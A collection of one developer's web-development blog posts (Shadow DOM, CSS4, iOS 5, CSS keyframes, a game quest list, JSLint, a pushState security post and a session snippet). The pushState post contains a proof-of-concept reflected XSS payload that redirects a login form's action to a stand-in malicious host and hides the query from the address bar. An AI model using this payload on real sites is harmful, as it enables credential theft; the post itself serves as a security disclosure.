Meet Shadow DOM – a New Kid in Town

22nd of Jan, 2013 – Samuli Hakoniemi

Ever heard of Shadow DOM? If you haven’t then this article is definitely for you (and if you already have, you should still read this ;)).

Despite of the “scary” name it has there’s nothing to be afraid of. Shadow DOM is a friendly little fellow who’s here to make life of web application developers easier.

In this article, I’ll present thoroughly the capabilities of Shadow DOM and how one can easily create independent widgets by encapsulating their code with it.

Table of Contents

Prerequisites

At the moment, Shadow DOM API can only be used and accessed with Chrome 25+ Beta or Chrome Canary. Download either one of them and start inspecting what Shadow DOM has to offer.

To access Shadow DOM via Chrome Console, you have to enable it from Settings -> General -> [x] Show Shadow DOM.

What is it About?

Shadow DOM is described by W3C as “The shadow DOM allows multiple DOM trees to be composed into one larger tree when rendered”. In practice, this means that it’s possible to create shadow roots and include them into document tree nodes, better known as shadow hosts. Shadow roots can contain child nodes, and these nodes aren’t exposed in traditional DOM tree at all.

Let’s have an example: suppose we have an input element which type is date. In modern browsers this type of element contains a date picker to provide some additional functionality and accessibility for the user.

This is where Shadow DOM enters the stage: date picker is constructed as a Shadow DOM subtree where input field acts as an shadow host.

Even though we can view the Shadow DOM of browser components, we can’t directly access to them.

Playing with Shadow DOM

Now that you’ve set up and you understand the basics about Shadow DOM, it’s time to start playing with it.

In our case, we want to create a simple custom widget which displays JSON data structure in a table. I won’t go in to the deepest details of the widget, but I’ve created a live demo of the widget I’m using as an example.

Preparing Content

At first we start by preparing and creating content. There are couple of guidelines on creating content:

  • it may be wise to use HTML templates instead of direct DOM manipulation when creating complex structures,
  • avoid using too generic naming. Although Shadow DOM is secured, this can lead to misunderstandings,
  • using pseudo-attributes is a good practice

With these guidelines we make the life easier both for us and for the developers who are using the widget.

We start by creating a template for our widget:


Notice: if you want to use external template files (like I do in my demo), use valid HTML elements, eg. by switching template element to a section.

Now we have a basic HTML structure set up and we can add some styling:


This is it. We have a HTML structure and CSS styling ready for the widget and now we need to do some JavaScript magic. Basically we want to fetch the template elements and use them as shadow root children elements for displaying the JSON data. In order do to this, we need some attributes for the jsontable element:


What we’ve got here is:

  • jsontable as the custom widget element,
  • data-template refers to an id of the template we want to use,
  • data-source refers to a JS object variable which contains the “JSON data”

There are both static and XHR examples in my demo, check them out for further guidance of using the data-source and .dataSource setter.

Creating a Shadow Root

We will start by accessing our custom HTML element called <jsontable> and creating a shadow root for it by calling document.webkitCreateShadowRoot (notice the webkit prefix):

var jsontable = document.querySelector("jsontable"),
    jsontableRoot = jsontable.webkitCreateShadowRoot();

For the simplicity of this example, we access only one jsontable element at time and create the functionality for it.

Next, we need to refer to our template and append it to the shadow root:

var templateId = jsontable.dataset.template;
var templateNode = document.getElementById(templateId);

jsontableRoot.appendChild(templateNode);

After this, following steps are:

  • setting references for template elements (table, tr, th, td),
  • populating table from the JSON by using these references

Both of these steps are done in my live demo I’ve created for this article.

This is it! What we’ve achieved is an independent widget which doesn’t interfere with the other DOM at all.

Accessing Shadow Root

Sometimes, one may need to access Shadow DOM externally and manipulate it. This is possible both with CSS and JS.

Accessing via CSS

In order to allow CSS access, we need to declare <shadow root>.applyAuthorStyles = true;. In our example, I made a setter for it (see live demo for further details):

var exports = {
    set applyAuthorStyles(x) {
        jsontableRoot.applyAuthorStyles = !!x;
    }
};

This allows accessing the styling whenever we need to, ie. we can enable and disable in on the fly.

Accessing via JavaScript

JavaScript access can’t be done with direct reference (see example), but it can be done by using webkitShadowRoot property, eg.:

var table = document.querySelector("jsontable").webkitShadowRoot.querySelector("table");

This allows manipulating the Shadow DOM whenever it’s needed. At the moment it’s not even possible to protect your Shadow DOM from external access (see Bug 16509 – [Shadow]: Consider isolation).

Conclusions

I’ve to say I’m excited about Shadow DOM. Although different kinds of snippets, plugins and widgets have been created for years, Shadow DOM and Web Components offers a clear path for creating eg. custom form controls, media controls, captchas, etc.

Current status of course is that Shadow DOM can’t yet be used purely because it has landed only on few browsers and the work is still in progress. However, we can play it with (just like we did in this article) and consider the possibilities it offers in the future.

Resources

Here are some of the resources I encountered while exploring the wonderful world of Shadow DOM:

Peek into CSS4

8th of May, 2012 – Samuli Hakoniemi

We all know that CSS3 has emerged in past couple of years a lot, and everyone is talking about it. There are many new features and properties that are well implemented in modern browsers.

But lately there has been some buzz going around CSS4. CSS Working Group has published a first working draft over half a year ago with many new proposals. CSS4 isn’t going to replace CSS3, but the work on specifications will go on parallel with CSS3 Modules.

In this article I’ll go through some of the most interesting proposals for CSS4. There are many new concepts, including such as parent selector, UI states pseudo-classes, Logical Combinations and Namespaces.

This article is based on my presentation: “CSS3 – The Present and The Future” which contains a section Peek into CSS4.

Table of Contents

Parent Selector

This is the magical selector many developers have been craving for. Earlier there hasn’t been an option to select the parent of an element. In CSS4 this is possible.

Parent selector was earlier proposed to be declared by using “$” rule, eg. $fieldset input:focus. At the moment it is proposed that the rule is following:

fieldset! > input:focus {
  background-color:yellow;
}

If you’re interested in starting to use parent selector today, check jQuery-powered polyfill: cssParentSelector for it.

UI States pseudo-classes

UI states pseudo-classes are meant to target different states an element can have. These are defined in CSS Basic User Interface Module, which have been moved into CSS4 proposal. Some of them, like :enabled and :disabled are already specified in CSS3, while others, like :valid and :invalid are new pseudo-classes in CSS.

Here is the list of UI states pseudo-classes:

  • :enabled / :disabled
  • :checked
  • :indeterminate
  • :default
  • :valid / :invalid
  • :in-range / :out-of-range
  • :required / :optional
  • :read-only / :write-only

Most of them are self-explanatory, but you can read more detailed description from the draft.

Tree-Structural pseudo-classes

Tree-structural pseudo-classes (eg. :nth-child() and :nth-of-type()) has now two new pseudo-classes: :nth-match() and :nth-last-match().

What :nth-match() actually is? It’s very similar to the logic with :nth-child().

:nth-match(an+b of selector-list) notation represents an element that has a parent and has an+b-1 siblings that match the given selector-list before it in the document tree, for any zero or positive integer value of n.

In practice, :nth-match matches with the given selector-list while :nth-child matches with the given selectors children elements. This happens by including of keyword in selector. If you have the selector input:nth-match(even of :enabled), it will first match the subset of input elements that are enabled and then match the even elements from that subset.

Logical Combinators

Logical Combinations consists of two pseudo-classes: :matches() and :not(). The behavior of “Negation pseudo-class” :not() is most likely clear to you – eg. input:not(:disabled) matches with all the input elements that are not disabled. But :matches() might be a bit more strange:

Matches-Any pseudo-class

The :matches() pseudo-class is the standardised version of Mozilla’s :-moz-any() pseudo class. This is useful for when you need a number of similar selector strings, but change one part such as the pseudo-classes.

Instead of writing a:hover, a:focus, a:active, one can write a:matches(:hover, :focus, :active) for same result.

Reference Combinators

Reference combinators allow you to select elements that are referenced by ID by another element. This is better to be explained in practice:

The following example highlights an input element when its label is focused or hovered-over:

label:matches(:hover, :focus) /for/ input { /* association by "for" attribute */
    box-shadow: yellow 0 0 10px;
}

Media Queries Level 4

While writing this article, first draft of Media Queries Level 4 was published. Unfortunately I won’t be writing more about Media Queries in this article, I just suggest reading the draft :).

Namespaces

Namespaces are actually proposed in CSS(3) Namespaces Module, but it’s written pretty much the same time as first proposal of CSS4. And CSS4 proposal is heavily referring to the namespaces, so I feel this one is good to go through when speaking of CSS4.

CSS Namespaces has quite simple syntax. The @namespace declares a namespace prefix and associates it with a given namespace name, and “vertical bar” works as a selector delimiter. Consider following example:

@namespace "http://www.example.com";
@namespace foo "http://www.example.com/foo";

h1 { font-size: 42px; } /* Belongs in example.com */
|h1 { font-size: 36px; } /* Belongs eg. in example.com/bar */
*|h1 { font-size: 32px; } /* Belongs in both namespaces */
foo|h1 { font-size: 28px; } /* Belongs in example.com/foo */

New Properties for Borders

Some new properties for borders are introduced in CSS4. The most obvious one is border-corner-shape, which allows values curve | bevel | scoop | notch. In addition, there are updates on border-images.

For further reading, see CSS Backgrounds and Borders Module Level 4.

Resources

I have to admit that there is lot more in CSS4 Working Draft than it’s included in this article. Therefore I suggest you all to read following resources I’ve gathered about CSS4:

iOS 5 and New Features for Web Developers

13th of Oct, 2011 – Samuli Hakoniemi

The final version of iOS 5 has been finally released and there’s lots of buzz going around it’s new features. Most of the discussion focuses on the operating system itself which is totally understandable. There are lots of improvements and nifty little features to play with.

But one thing that seems not to get such attention is what iOS 5 brings to us, web developers, and how it improves the experience with web applications.

In this article I’ll go through most of the major features that are included in iOS 5 for web developer point-of-view.

Table of Contents

-webkit-overflow-scrolling

This is probably most anticipated feature for web applications. Until today it hasn’t been easily possible to add scrollable content in web document.

Briefly, all you need to define is:
elem {
 overflow:scroll;
 -webkit-overflow-scrolling:touch;
}

To achieve proper scrolling support for iOS 4 and/or other devices, I strongly suggest using iScroll 4.

And if you want to display scrollbars all the time, read this post: Force Lion’s scrollbar back. It will help you on displaying the scrollbar while user is not accessing the scrollable area, which is a very good visual guidance for user that content can be scrolled. But be warned: “custom” scrollbar won’t update it’s location while user is scrolling and meantime there are two scrollbars displayed.

position:fixed

Position:fixed is well-known CSS property that hasn’t earlier been included in iOS. But now it’s there, ready to use.

I noticed that setting a fixed element it has partial transparency by default. You even can’t turn it off by setting opacity to 1.0. If you happen to know how to solve this, please comment on my blog.

New Input Types

iOS5 provides several new input types that didn’t exist earlier on iOS4. These input types are: date, time, datetime, month and range.

I have to mention that the user experience with range is awful – with your (fat) finger you end up selecting the whole control instead of value slider all the time.

Note: input type=”file” isn’t still working. “Choose File” button is displayed, but at the same time it’s disabled.

WOFF Font Support

iOS 5 supports WOFF (Web Open Font Format) fonts. This is good news in a way. I haven’t personally tested whether there’s any benefit compared to SVG or TTF from a rendering or performance point-of-view.

Web Workers

Web Workers API is a bit less familiar for many developers. They allow to run long-running scripts without halting the user interface and they’re not interrupted by other actions.

The problem with Web Workers on iOS 5 is – as you may guess – the perfomance. You can try Web Workers with Javascript Web Workers Test. But I have to mention that while it took only about five seconds with my workstation, the same execution time with my iPhone 4 was 106 seconds. So as you can see, there’s a huge difference on performance.

contentEditable

iOS 5 supports contentEditable attribute, which allows rich text editing (RTE) of content. This is very welcomed feature offering the possibility of building WYSIWYG editors that can be used eg. with iPad.

Read more about this feature at: WYSIWYG Editing (contentEditable support) in iOS 5.

classList API

ClassList API is very useful while writing native JavaScript. It has few simple functions (like add(), remove(), toggle()) that are meant for handling classNames in an element.

If you want to implement classList API and ensure backwards compatibility, use classList.js polyfill, written by Eli Grey.

matchMedia()

Function matchMedia() is relatively new function for detecting media queries with JavaScript. The implementation is very simple:

if (matchMedia("(min-width: 1024px)").matches) {
    alert('your screen is at least 1024px wide');
}
else {
    alert('your screen is less than 1024px wide');
}

Can’t say how useful that is yet, since I’ve personally never used it before. But we’re living the times of Responsive Web Design and there may be conditions where this may be needed.

For browsers that doesn’t support matchMedia(), there is a matchMedia.js polyfill available, written by Paul Irish.

And if you’re more interested in similar logic, I suggest reading about yepnope.js.

Changes in Gestures Events

Gestures events (gesturestart, gesturechange, gestureend) now returns pageX and pageY values for events – in addition to scale and rotate values. These values didn’t exist in iOS4, forcing developer to retrieve X/Y-coordinates with corresponding touch events.

Compass

iOS 5 comes also with two neat properties: webkitCompassHeading and webkitCompassAccuracy. You can read more about them and test them at: Taking a new device API for a spin.

WebGL

Well… WebGL is kind of implemented in iOS5. But only for iAd.

However there are rumors promising good, and already it’s said that “things are in place” but they’re just not fully working (or have been disabled). So, let’s keep our fingers crossed that next (minor) update will include support for WebGL.

Anything Else?

Mark Hammonds has written a comprehensive article in mobiletuts+, titled iOS 5 for Web Devs: Safari Mobile Updates. That’s really worth of reading!

And if you’re interested in browser performance in general, then you should read iOS 5 Top 10 Browser Performance Changes.

If there are other things to mention, feel free to comment and bring your ideas up. I’ll keep on updating this post right after new information arises about iOS 5.

Having Fun With CSS3 Keyframes

25th of May, 2011 – Samuli Hakoniemi

More than two years ago CSS Animations were represented in WebKit. Up until now, they’ve been supported only in Safari and Chrome.

Recently I noticed, when upgrading to Android 3.1 that it dramatically enhanced the performance of CSS Animations and Transitions. And only few days ago, Firefox 5 Beta was released which has decent support for keyframes, and also better performance for transitions. Therefore I decided to write a brief article about CSS Animations and using keyframes.

In this article we will go through what it takes to create keyframe animations. I’ll create a simple demonstration of an icon character which comes alive with a little help of keyframes.

Foreword

This article won’t help with the basics and all the details of CSS Keyframes. If you’re unfamiliar with keyframes, I strongly suggest reading Smashing Magazine’s article “An Introduction To CSS3 Keyframe Animations”.

If you’re also unfamiliar with CSS Transitions, you can also read my article “CSS3 Transitions – Are We There Yet?”.

It’s good to notice that there already exists tools for creating proper CSS Animations, like Animatable that are worth of checking. Especially, if you’re not that much of a fan writing endless keyframes rules and css declarations

Browser Support

I’ve tested this example with recent builds of Google Chrome, Firefox 5 Beta, iPhone 4 / iPad and Android 3.1 with Browser (Chrome) and Firefox Beta. So, if you’re viewing this article with any of those, then you’re good to go.

There are indications that also Opera will support CSS Animations in near future. Let’s see when that will be. However, Internet Explorer won’t be supporting CSS Animations – they’re not even supporting CSS Transitions yet.

The Icon

In this example we’ll build an icon with separate head, body and background. We’ll add some movement with keyframes to each object while trying to achieve as realistic result as possible without too much of an effort.

The character icon in demonstration is from Battleheart, developed by Mika Mobile.

The Head

Wizard's head We start by defining the behavior of an animation for the head. This is done by defining a keyframes rule called “breathe-head”.

@-webkit-keyframes breathe-head {
    0% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
    40% {
        -webkit-transform: rotate(-3deg) translate3d(-2px, -1px, 0px);
    }

    100% {
        -webkit-transform: rotate(1deg) translate3d(0px, 0px, 0px);
    }
}

NOTE: I’m using property called translate3d for moving the head slightly backwards. It’s good to understand that only transformable properties (+ opacity) can be animated with hardware acceleration. Translate3d(0,0,0) is good to have to ensure hardware acceleration of animations even if it’s not needed for any other use. I’ve even encountered many situations where animation performance hasn’t been smooth eg. on iOS Web Applications until (over)usage of translate3d().

Twice the Fun!

For some (unknown) reason, it isn’t possible to add -moz-keyframes rule at the same declaration, so we need to declare keyframes rules again:

@-moz-keyframes breathe-head {
    0% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
    40% {
        -moz-transform: rotate(-3deg) translate(-2px, -1px);
    }

    100% {
        -moz-transform: rotate(1deg) translate(0px, 0px);
    }
}

I’m not using translate3d() since it seems Firefox only understands translate(). But it’s good enough for performance since it should be also hardware accelerated on Firefox.

The Body

Wizard's body Next, we’ll animate the body of the character. We don’t need any wildly bouncing animation since we’re operating with an (small) icon. Constant movement has to be subtle or otherwise it can start to irritate users:

@-webkit-keyframes breathe-body {
    0% {
        -webkit-transform: translate3d(0px,0px,0px);
    }

    40% {
        -webkit-transform: translate3d(0px,-3px,0px);
    }

    100% {
        -webkit-transform: translate3d(0px,0px,0px);
    }
}

And the same rules needs to be applied for -moz-keyframes like we did with the head.

The Background

Wizard's backgroundI wanted to add something more to a movement and decided to draw a subtle background “sun” which keeps rotating behind the character:

@-webkit-keyframes rotate-bg {
    0% {
        -webkit-transform: rotate(0deg);
    }
    100% {
        -webkit-transform: rotate(360deg);
    }
}

Rotating background is very straight-forwarded; we rotate it once per timeline we’ll define later on.

Keyframes are Done – What Next?

Now that we’ve defined keyframe rules, we must take them into use:

.character {
    -webkit-animation: breathe-body 3000ms infinite both ease-in-out;
    -moz-animation: breathe-body 3000ms infinite both ease-in-out;
}

.character .head {
    -webkit-animation: breathe-head 3000ms infinite both ease-in-out;
    -moz-animation: breathe-head 3000ms infinite both ease-in-out;
}

.rotating {
    -webkit-animation: rotate-bg 30s infinite linear;
    -moz-animation: rotate-bg 30s infinite linear;
}

I’m using short-hand declarations, and eg. for .character .head we declare: “Use breathe-head keyframe rules in a three seconds long loop which last infinite time and is animated with in-out easing equation”.

Value “both” stands for animation-fill-mode should define the status of first and last keyframe. But in my case I didn’t notice anything special when I trying other possible values “forwards” or “backwards” (this could be since both start and end keyframe has similar values).

The End Result

I needed to declare more CSS for getting things in correct place. But the example code above is practically the soul and heart of the animation. But here is the end result of an animated wizard icon:

 

 

How do you like it? It’s my first animation ever :).

Gunshine.net

Gunshine is an online game created in Finland with roleplaying and social features. Although the game is currently running in beta, it already contains lots of features, tons of missions and plenty of enjoyment.

I’m going to gather all the quests I personally encounter and share it with other players, both newcomers and more advanced players. The intention is to collect all available quests into a simple table, which should help during gameplay. All extra help is appreciated, and you can provide listing of quests either by e-mail or commenting into this article.

Disclaimer

The purpose of this article is to provide help for players who can’t find new missions to complete (which seems to be quite common case). This article is inofficial and doesn’t contain any strategic advices.

Notice that game is changing all the time since it’s in beta. There are new missions appearing while some of the older missions may disappear. Therefore this list can be outdated on some parts.

This article will constantly update when I receive new information of there is an update made on Gunshine itself.

Last update is made on 26th of May, 2011.

A big thanks for following contributors:

  • Nina (a3)

How to Read?

  • Name – the mission name,
  • Level – the level of enemies, or the area where mission is located,
  • Where to Get – the area where mission can be get,
  • XP – the experience gained after completing the mission,
  • Money – the money gained after completing the mission.

Table of Quests / Missions on Dawnbreak City

NameLevelWhere to GetXPMoney
Welcome to the World of Tomorrow1Immigration Center128
Through the Looking Glass1Immigration Center128
Follow the Yellow Brick Road1Immigration Center116
Jailbreak Time1Immigration Center128
Mercenaries Are Your Best Friend1Immigration Center6024
The Great Escape1Immigration Center6024
Keep On Running!2Immigration Center6024
You’re Gonna Be Okay2Wetlands6536
Meet Lemmy3Wetlands128
Brutal Security3Pipe square6024
Police Truck3Pipe square6024
Zero Tolerance3Pipe square2560
Grim Gonzales (Group)3Drug Farm13060
Drug Bust4Pipe square128
Gasoline Order4Drug Farm6024
Drugs, Up in Smoke4Drug Farm6024
Rebel, Rebel4Drug Farm128
Help Cyril4Rebel Camp1414
Credibility is Everything4Rebel Camp1312
Supplies Are Your Friend4Rebel Camp1350
Don’t Keep Him Waiting4Rebel Camp1375
Get To Da Choppa!4Rebel Camp7042
Repel the Raiders4Rebel Camp7042
A Friend in Need4Rebel Camp1414
On the Waterfront, pt. 14Malloy Waterfront6536
On the Waterfront, pt. 24Malloy Waterfront6536
Fire, Water, Burn4Malloy Waterfront6536
Big Yellow Taxi5Malloy Waterfront1518
Go Boy, Fetch!5Northern Warehouse1518
A Life for Life5Northern Warehouse7554
C’Mon, Hurry Up Already!5Northern Warehouse1518
Bang Up Job5Northern Warehouse1518
Playing it Safe5Northern Warehouse1518
Am I Bugging You?5Southern Warehouse6536
Hone Your Skills5Southern Warehouse1312
Just a Small Favor5Southern Warehouse7042
Meet Kaylee5Northern Warehouse1518
Meet the Boss5Northern Warehouse1518
Bullet-Tooth (Group)5Pirate Bay14070
Meet Mick5Pirate Bay1312
Report to Holden5Constr. Site West8060
NameLevelWhere to GetXPMoney
Meet Lloyd6Drug Farm1516
My Go-to Girl6Pirate Bay1620
Escort Mech6Novelle Forest7548
Winners Don’t Do W.U.Z.Z6Pirate Bay7042
A Damsel in Distress6Pirate Bay7042
Burning Down the House6Northern Warehouse7554
A Moment’s Respite6Pirate Bay7554
Manna From Heaven6Pirate Bay7554
Get Rid of the Rivals6Pirate Bay8060
Saving Saffron6Pirate Bay8060
Where’s Wally?6Northern Warehouse1620
White Lies, Red Blood6Northern Warehouse8572
Confiscate This!6Container Storage8572
Talk to Rupert7Pirate Bay8060
Hostile Takeover7Constr. Site West8060
An Insidious Plan7Constr. Site West8060
Man the Machines7Constr. Site West8060
A Dog as a Courier? …7Northern Warehouse8060
Raiding the Drug Lab (Group)7Northern Warehouse190150
Meet Mal7Container Storage1620
Drugs, Dogs and Depots7Import Area8572
Blood and Fire7Pirate Bay8572
The Tankinator (Group)8Pirate Bay170120
I’m Afraid I Was Very … (Group)8Northern Warehouse190150
If You Have a Plan …8Import Area6050
Be Prepared9Pirate Bay9078
Whack-a-Mole10Abyssos Eastern Entrance9590
Documents for Davey10Panacea Health Station1930
Report to Davey10Abyssos Eastern Entrance1930
Someone’s Treasure …10Panacea Health Station1930
Pest Control10Panacea Health Station9590
A Trojan Tractor10Panacea Health Station10096
A Trojan Backfire10Panacea Health Station10096
Security Does Not Equal Safety10Panacea Health Station125144
Gas Panic10Abyssos Truck H.105108
The Soulless (Group)10Panacea Health Station200160
I’ll Never Tell10Abyssos Field Office8560
NameLevelWhere to GetXPMoney
Gun Trouble11Abyssos Gas Refinery10096
Gutting the Guards11Abyssos Gas Refinery10096
Blackout11Abyssos Gas Refinery10578
Kick ‘Em When They’re Down11Plainview Oil Ref.10096
Insult to Injury11Plainview Oil Ref.10096
It IS Another Drill, Literally11Plainview Oil Ref.9060
Now That’s Just Mean!11Plainview Oil Ref.10072
You Are What You Eat11Abyssos Marketplace120132
Reporting for Duty12Panacea Health Station2032
The Drill Stops Here13Panacea Health Station105108
Powerful Mischief13Panacea Health Station105108
Fat Dog (Group)13Abyssos Truck H.220190
Getting Our Boys Out13Abyssos Truck H.105108
Who in the What Now?13Abyssos Truck H.105108
Making a Stand13Eastern Drilling Zone10096
Leave No Man Behind14Power Plant Entrance
Two Lil’ Hobos14Abyssos Truck H.105108
They Came From The Sewers14Abyssos Truck H.105108
Playing a Prank14Abyssos Marketplace120132
Labycollector14
Three Down, 100 to Go14Panacea Health Station10096
Raid the Nuthouse14Abyssos Truck H.2342
Paving the Way14Ratched Lane115126
Bulldozers Are Fragile Beings14Ratched Lane115126
Kill the Chief14Ratched Lane115126
Get Certified14Ratched Lane115126
Onward!14Ratched Lane2342
Clear Out All Hostiles14Bromden Park115126
Extra Guns, Extra Fun14Bromden Park115126
Kill the Alarms14Bromden Park115126
Asylum Awaits14Bromden Park2342
Clean Sweep15McMurphy Asylum120132
Inmate 673315McMurphy Asylum120132
Papillon15McMurphy Asylum120132
Drugs Don’t Work (Group)15McMurphy Asylum240220
Abyssos Did Indeed Gaze Back15Abyssos Offices120132
Duke of All Kinds of Hazards15Abyssos Truck H.2444
For a Few Dollars More (Group)15Abyssos Marketplace240220
Gaze Long Into Abyssos15Abyssos Offices120132
I Am in Disguise15Abyssos Marketplace2444
Peek Into Abyssos15Abyssos Offices120132
Stop the Press15Abyssos Marketplace240220
The Way of the Exploding Pig (Group)15Abyssos Marketplace240220
There is Only Flesh15Abyssos Marketplace120132
NameLevelWhere to GetXPMoney
Deal Breaker17Abyssos Marketplace130150
Oh, You Rascals!17Abyssos Marketplace135162
Bring it!18Abyssos Marketplace130150

Table of Quest / Missions on Islands

NameLevelWhere to GetXPMoney
Travel to Idas8Northern Warehouse1724
Travel to Argus10Northern Warehouse1930
Travel to Actor12Northern Warehouse2136
Travel to Castor14Northern Warehouse2342
Island Idas Missions8Idas Harbor8572
Island Argus Missions10Argus Harbor Square9590
Island Castor Missions14Castor Harbor Square115126
Island Medea Missions16Medea Harbor Square125144
Opera
Sometimes there is need to write browser-specific CSS declarations. Although every developer should put their best effort on creating structure and layout that doesn’t require any proprietary hacks, one may encounter situations where it’s impossible to proceed by the book.

My case was about font-size and letter-spacing on Opera (11.10). Opera was displaying selected font way too big to fit in allowed space and I needed a hack to fix this issue.

Opera 9 and below

This is pretty straight forward and well known hack:

html:first-child p
{
    font-size:12px;
}

The real issue, in my case, was how to target newer and modern Opera versions 10 and 11.

Opera 10 and above

The answer is in media queries. Earlier this was obvious hack while no other browsers supported media-queries properly. However, nowadays more and more browsers support it and therefore we need to tweak the conditions a little:

@media not all and (-webkit-min-device-pixel-ratio:0) {
    p {
        font-size:12px;
    }
}

I’ve validated this with Opera 10.5 and Opera 11. I also checked on Chrome 11, Chrome 12, Firefox 3.6, Firefox 4.0, Safari 5 and IE 8 that it doesn’t affect on them.

Edit: I haven’t tested this on Opera 9 or earlier, but according to other resources, this hack should work on those browsers too.

Conclusion

It’s still possible to write browser-specific hacks but it’s getting more and more complex all the time. In this case we’re using a hack that is actually targeted to WebKit browsers to get them excluded from the media query hack. However, there is no confidence that this hack would work on Opera 12 or next versions of Safari or Chrome would behave as expected.

And big thanks goes to an article CSS Hack or New CSS File for Problematic Browsers? and Is There Any Dedicated CSS Hacks For Safari or Opera?.

JSLint is an extremely useful tool for front-end developers among other code validation. However, getting JSLint to work properly isn’t always as easy as it supposed to be. I ran into problems when I upgraded to Eclipse-based Aptana Studio from major version 2 to beta version 3. In addition, it was very hard to find any proper solutions for my problem.

Differences Between Aptana 3.x and 2.x

The first thing to note is that Aptana Studio 3 doesn’t have similar plugin-based view than Aptana 2. After certain time of unsuccessful googling I figured out that proper keyword isn’t “aptana”, it’s “eclipse”.

In order to install new plugins (or software), you have to do it via Help » Install New Software.

Installing JSLint

Unlike in Aptana Studio 2, version 3 doesn’t have JSLint located as a validator in Aptana’s JavaScript preferences (if I’m running false configuration or doing something really wrong, please comment :)). However, Rockstarapps is offering tools which also includes JSLint.

The problem I had with Rockstarapps was that it doesn’t look very trustworthy (blank site etc). But with little googling I found a resource for installing software at: http://update.rockstarapps.com/site.xml.

After you’ve added Rockstarapps resource to work with, you’ll see a list of tools on a window below, including JSLint. Go ahead and install these.

Using JSLint

After installation I was happy to start using JSLint. I searched for numerous places in order to configure and / or to run JSLint. This was frustrating and I already stopped searching since I still wasn’t feeling too confident about Rockstarapps.

On one day, I accidentially noticed that when I right-clicked on JavaScript file, context menu included an option “Rockstarapps” with sub-option “Validate with JSLint”. That was it – JSLint was finally there, ready for use :).

Conclusion

I’m a kind of person that can be considered as an eternal beginner (or even stupid :p) when configuring applications and tools. But I know there are many others on a very similar position with me (according to my earlier experience and the amount of Stackoverflow + other rant encountered while googling). So I definitely hope this post really helps someone struggling with same problems than I did.

External Resources

Today while traveling with a bus, I came across a bit unexpected behavior when I tried to stop the bus.

Expected Interaction

Briefly, while interacting with something it should at least produce information that a) it can be interacted with, b) it reacts on interaction and c) it confirms the result of an action was like intended. In my case this means that a) there are red stop buttons labeled “stop”, “push”, “press” etc. , b) these buttons reacts physically while pressed and c) I receive a sound and / or visual notification that my action had a reaction.

What I Experienced

This is what actually happened: there was a digital display, which would show a word “stop” when stop button is pressed. This display was empty at the moment, so I pressed one of the stop buttons which reacted normally. But nothing happened. No “stop” on display, no sound. Nothing. It’s quite obvious that either the button is broken or both the display and the sound speaker is broken. But since I remembered hearing a sound notification earlier on the trip, I was convinced that this very button was broken. Since my bus stand was already close I dived onto next button and pressed it. Same resolution: nothing happened. Well, tough luck.. until I suddenly noticed that the display has word “stop” on it. Hooray! Someone else had actually succeeded to perform the simple task I was unable to do. Then again, the “stop” disappeared from the screen. It took about four seconds and the word “stop” was there again. A blinking stop sign? A blinking stop sign with about four second intervals? And the sound notification only on first press (apparently someone else had pressed the button before me). I was just unlucky not to watch the display just while it was actually displaying the text. Practically that meant 15-20 seconds of uncertainty will the bus stop or not.

Why?

But the actual question I had in my mind was: what was the added value by having a very slowly blinking stop button? What was the person behind design actually trying to achieve?

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.

In this article I’ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. Sitepoint: Cross-browser JSON Serialization in JavaScript). The reason I wrote this is simple – sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don’t want to pollute cookie with (secondary) data that isn’t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data. Therefore I’m using window.name property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.

There are also other implementations of the very same topic, such as Thomas Frank’s sessvars.

I’ll write another post later to demonstrate this snippet in real use.

Methods

There are following methods:

Session.setVar(string name, mixed value)

This sets the variable. You can add any type of value (number, string, boolean, object).

Session.getVar(string name)

This returns the variable. If such variable doesn’t exist, this returns false.

Session.removeVar(string name)

This removes the variable. If such variable doesn’t exist, this returns false.

Session.subscribe(string name, function callback)

This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won’t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.

You can add a “namespace” for functions to distinct them for unsubscribing. This is done by adding a period on variable name: Session.subscribe(“foo.alertVariable”, function() { alert(Session.getVar(“foo”); });.

Session.unsubscribe(string name)

This simply unsubscribes certain function attached to the variable, eg Session.unsubscribe(“foo.alertVariable”).

Source Code

You can get the source code from here.

There is also very small demonstration available in here.